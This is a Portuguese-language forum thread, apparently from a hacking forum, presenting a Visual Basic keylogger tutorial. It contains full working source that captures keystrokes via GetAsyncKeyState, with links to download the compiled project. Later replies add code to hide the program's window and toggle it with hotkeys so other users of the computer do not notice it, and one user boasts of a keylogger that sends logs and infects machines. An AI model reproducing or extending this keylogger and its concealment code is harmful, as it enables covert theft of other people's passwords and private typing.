Keylogger Simples (VB - Tutorial)

Iniciado por Skipolit, 03 de Janeiro , 2008, 11:24:39 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Skipolit

Pessoal tinha aqui um código de um Keylogger feito em VB bastante simples porém interessante =) sigam as instruções:

1- Componentes necessários :
    1.1- Um Textbox:  txtkey ( Activar a opção Multiline = True)
    1.2- Um Timer: timer1

2- Código:

     2.1 - Introduza o seguinte código no timer1
       If Keylogger Then txtkey = txtkey & Press
     
     2.2 - Crie um módulo e introduza nele o seguinte código:
       

Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As   Integer
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Numbers As Integer
Public rs As Long
Public bShift As Boolean
Public Press As String
Public Const sk As Integer = 16

Public Function Keylogger() As Boolean

Numbers = 65

Do Until Numbers = 91 ' checa as letras
rs = GetAsyncKeyState(Numbers)
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, Chr(Numbers), LCase(Chr(Numbers)))
GoTo KeyFound
End If
Numbers = Numbers + 1
Loop
Numbers = 48


Do Until Numbers = 57 ' checa os numeros
rs = GetAsyncKeyState(Numbers)
If rs = -32767 Then
rs = GetKeyState(sk)
If rs < 0 Then
If Numbers = 48 Then Press = ")"
If Numbers = 49 Then Press = "!"
If Numbers = 50 Then Press = "@"
If Numbers = 51 Then Press = "#"
If Numbers = 52 Then Press = "$"
If Numbers = 53 Then Press = "%"
If Numbers = 54 Then Press = "^"
If Numbers = 55 Then Press = "&"
If Numbers = 56 Then Press = "*"
If Numbers = 58 Then Press = "("
Else
Press = Chr(Numbers)
End If
GoTo KeyFound
End If
Numbers = Numbers + 1
Loop

'si rs = -32767 o valor de rs é TRUE
rs = GetAsyncKeyState(13) ' checa o enter
If rs = -32767 Then
Press = vbCrLf
GoTo KeyFound
End If

rs = GetAsyncKeyState(32) ' checa o espaço
If rs = -32767 Then
Press = " "
GoTo KeyFound
End If

rs = GetAsyncKeyState(8) ' checa o Backspace
If rs = -32767 Then
Press = " BKSP "
GoTo KeyFound
End If

rs = GetAsyncKeyState(46) ' checa a tecla Del
If rs = -32767 Then
Press = " DEL "
GoTo KeyFound
End If

rs = GetAsyncKeyState(190) ' check For period
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, ">", ".")
GoTo KeyFound
End If

rs = GetAsyncKeyState(188) ' check For comma
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, "<", ",")
GoTo KeyFound
End If

rs = GetAsyncKeyState(186) ' check For colon
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, ":", ";")
GoTo KeyFound
End If

rs = GetAsyncKeyState(191) ' check For question mark
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, "?", "/")
GoTo KeyFound
End If

rs = GetAsyncKeyState(222) ' check For quotes
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, """", "'")
GoTo KeyFound
End If

rs = GetAsyncKeyState(192)
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, "~", "`")
GoTo KeyFound
End If

rs = GetAsyncKeyState(189)
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, "_", "-")
GoTo KeyFound
End If

rs = GetAsyncKeyState(187)
If rs = -32767 Then
rs = GetKeyState(sk)
Press = IIf(rs < 0, "+", "=")
GoTo KeyFound
End If
Keylogger = False ' Key not found, ou seja,
' nao foi pressionada nenhuma tecla
Exit Function

KeyFound:
Keylogger = True

End Function

     2.3 - Introduza no no Form_Load() o seguinte código:
             Timer1.interval = 0

E pronto esta feito o Keylogger...



Download do projecto : (Código Fonte + Projecto Compilado)
     
     RapidShare: http://rapidshare.com/files/81078983/Keylogger.rar.html
     MegaUpload: http://www.megaupload.com/?d=PHWQGAIQ

              No que vos puder ajudar , ajudarei! =) Abraço pessoal e obrigado
: 03 Janeiro 2008, 23:19:33Adicionei mais um link alternativo para efectuarem o download do projecto...

EasyShare: http://w13.easy-share.com/13909211.html

rmoraes

Amigo muito bom mas como faço para esconder a tela é implementar alguma tecla
de atalho para poder visualizar o que foi digitado? pois para um keylogger
pessoal todos verão a janela aberta na barra  ;)

Skipolit

Citação de: "rmoraes"Amigo muito bom mas como faço para esconder a tela é implementar alguma tecla
de atalho para poder visualizar o que foi digitado? pois para um keylogger
pessoal todos verão a janela aberta na barra  ;)

Pois é verdade eu não introduzi nenhum botão para esconder o form , mas é bastante fácil!

Basta adicionar um botão -- Private Sub BotaoEsconder_click()
                                       form1.hide 'Onde form1 é o form principal
                                      End sub

Para fazer ele aparecer através de teclas e que eu não sei mas vou pesquisar , porque estou a fazer um keylogger em vb , vai ser o meu novo projecto =)

Abraço []
             

Alucard

Bem antes da chegagem das letras coloco o seguinte codigo:

'atalho ctrl+alt+t
rs = GetAsyncKeyState(84)
If rs = -32767 Then
    Form1.Hide
    GoTo KeyFound
End If

'atalho ctrl+alt+s
rs = GetAsyncKeyState(83)
If rs = -32767 Then
    Form1.Show
    GoTo KeyFound
End If

Mateus

por isso que eu prefiro C#, em uma madrugada fiz um kl que loga envia e infecta com menos da metade de seu codigo =x
http://www.darkers.com.br/forum/index.p ... 690.0.html
H4X with axes 8)